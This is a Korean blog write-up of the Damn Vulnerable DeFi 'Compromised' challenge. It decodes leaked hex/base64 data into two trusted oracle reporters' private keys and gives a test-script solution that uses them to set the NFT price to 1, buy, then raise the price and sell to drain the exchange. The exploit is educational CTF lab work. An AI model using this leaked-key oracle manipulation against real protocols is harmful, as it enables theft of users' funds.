The Challenge
While poking around a web service of one of the most popular DeFi projects in the space, you get a somewhat strange response from their server.
Here’s a snippet:
**HTTP/2 200 OK
content-type: text/html
content-language: en
vary: Accept-Encoding
server: cloudflare
4d 48 68 6a 4e 6a 63 34 5a 57 59 78 59 57 45 30 4e 54 5a 6b 59 54 59 31 59 7a 5a 6d 59 7a 55 34 4e 6a 46 6b 4e 44 51 34 4f 54 4a 6a 5a 47 5a 68 59 7a 42 6a 4e 6d 4d 34 59 7a 49 31 4e 6a 42 69 5a 6a 42 6a 4f 57 5a 69 59 32 52 68 5a 54 4a 6d 4e 44 63 7a 4e 57 45 35
4d 48 67 79 4d 44 67 79 4e 44 4a 6a 4e 44 42 68 59 32 52 6d 59 54 6c 6c 5a 44 67 34 4f 57 55 32 4f 44 56 6a 4d 6a 4d 31 4e 44 64 68 59 32 4a 6c 5a 44 6c 69 5a 57 5a 6a 4e 6a 41 7a 4e 7a 46 6c 4f 54 67 33 4e 57 5a 69 59 32 51 33 4d 7a 59 7a 4e 44 42 69 59 6a 51 34**
A related on-chain exchange is selling (absurdly overpriced) collectibles called “DVNFT”, now at 999 ETH each.
This price is fetched from an on-chain oracle, based on 3 trusted reporters: 0xA732...A105,0xe924...9D15 and 0x81A5...850c.
Starting with just 0.1 ETH in balance, pass the challenge by obtaining all ETH available in the exchange.
The Contracts
이번 문제는 NFT를 엄청나게 높은 가격에 판매하는 NFT 거래소를 중심으로 진행된다. 이러한 가격은 외부 Oracle 서비스에서 제공되며 우리는 내부 작동 방식을 분석하고, 유리하게 조작하는 방법을 알아내야 한다.
먼저 저 16진수 값들은 뭘까? 문자열로 변환해보았다.
MHhjNjc4ZWYxYWE0NTZkYTY1YzZmYzU4NjFkNDQ4OTJjZGZhYzBjNmM4YzI1NjBiZjBjOWZiY2RhZTJmNDczNWE5
MHgyMDgyNDJjNDBhY2RmYTllZDg4OWU2ODVjMjM1NDdhY2JlZDliZWZjNjAzNzFlOTg3NWZiY2Q3MzYzNDBiYjQ4
뭔가 Base64 느낌이 나서 시도를 해보았더니
0xc678ef1aa456da65c6fc5861d44892cdfac0c6c8c2560bf0c9fbcdae2f4735a9
0x208242c40acdfa9ed889e685c23547acbed9befc60371e9875fbcd736340bb48
이게 뭘까? 이번 문제는 기존 문제들과 다르게 웹 서버에서 얻은 정보를 바탕으로 풀어야 하나 보다. 저게 신뢰할 수 있는 계정들 중 2개의 개인 키가 아닐까? 이를 바탕으로 NFT 가격을 조작하여 모든 ETH를 얻을 수 있다. 위 가설이 맞다면 성공할 것이다. 시도해보자.
it('Execution', async function () {
/** CODE YOUR SOLUTION HERE */
const key1 = "0x208242c40acdfa9ed889e685c23547acbed9befc60371e9875fbcd736340bb48"
const key2 = "0xc678ef1aa456da65c6fc5861d44892cdfac0c6c8c2560bf0c9fbcdae2f4735a9"
const account1 = new ethers.Wallet(key1, ethers.provider);
const account2 = new ethers.Wallet(key2, ethers.provider);
await oracle.connect(account1).postPrice("DVNFT", 1);
await oracle.connect(account2).postPrice("DVNFT", 1);
await exchange.connect(player).buyOne({ value: 1 });
await oracle.connect(account1).postPrice("DVNFT", EXCHANGE_INITIAL_ETH_BALANCE+ BigInt(1));
await oracle.connect(account2).postPrice("DVNFT", EXCHANGE_INITIAL_ETH_BALANCE+ BigInt(1));
await nftToken.connect(player).approve(exchange.address, 0);
await exchange.connect(player).sellOne(0);
await oracle.connect(account1).postPrice("DVNFT", INITIAL_NFT_PRICE);
await oracle.connect(account2).postPrice("DVNFT", INITIAL_NFT_PRICE);
});
먼저 개인키를 통해 계정을 연결하고, NFT 가격을 1로 설정 후, player가 산다. 그 후 가격을 다시 바꾸고, 그 가격으로 팔아서 거래소의 NFT를 뺄 수 있다. 이는 민감한 정보를 블록체인 상 저장한 것과 너무 특정 계정에 의존한다는 문제점으로 발생하였다.
'Blockchain' 카테고리의 다른 글
Cross-Chain Lending Protocol: 유동성 확보와 편의성을 위한 설계 및 비교 분석 - Part 1 (0) | 2024.07.19 |
---|---|
Uniswap이 뭘까? (2) | 2024.07.18 |
Damn Vulnerable DeFi Challenge #6 - Selfie (0) | 2024.07.05 |
Damn Vulnerable DeFi Challenge #5 - The Rewarder (1) | 2024.07.05 |
LayerZero 1-Day Analysis (0) | 2024.06.16 |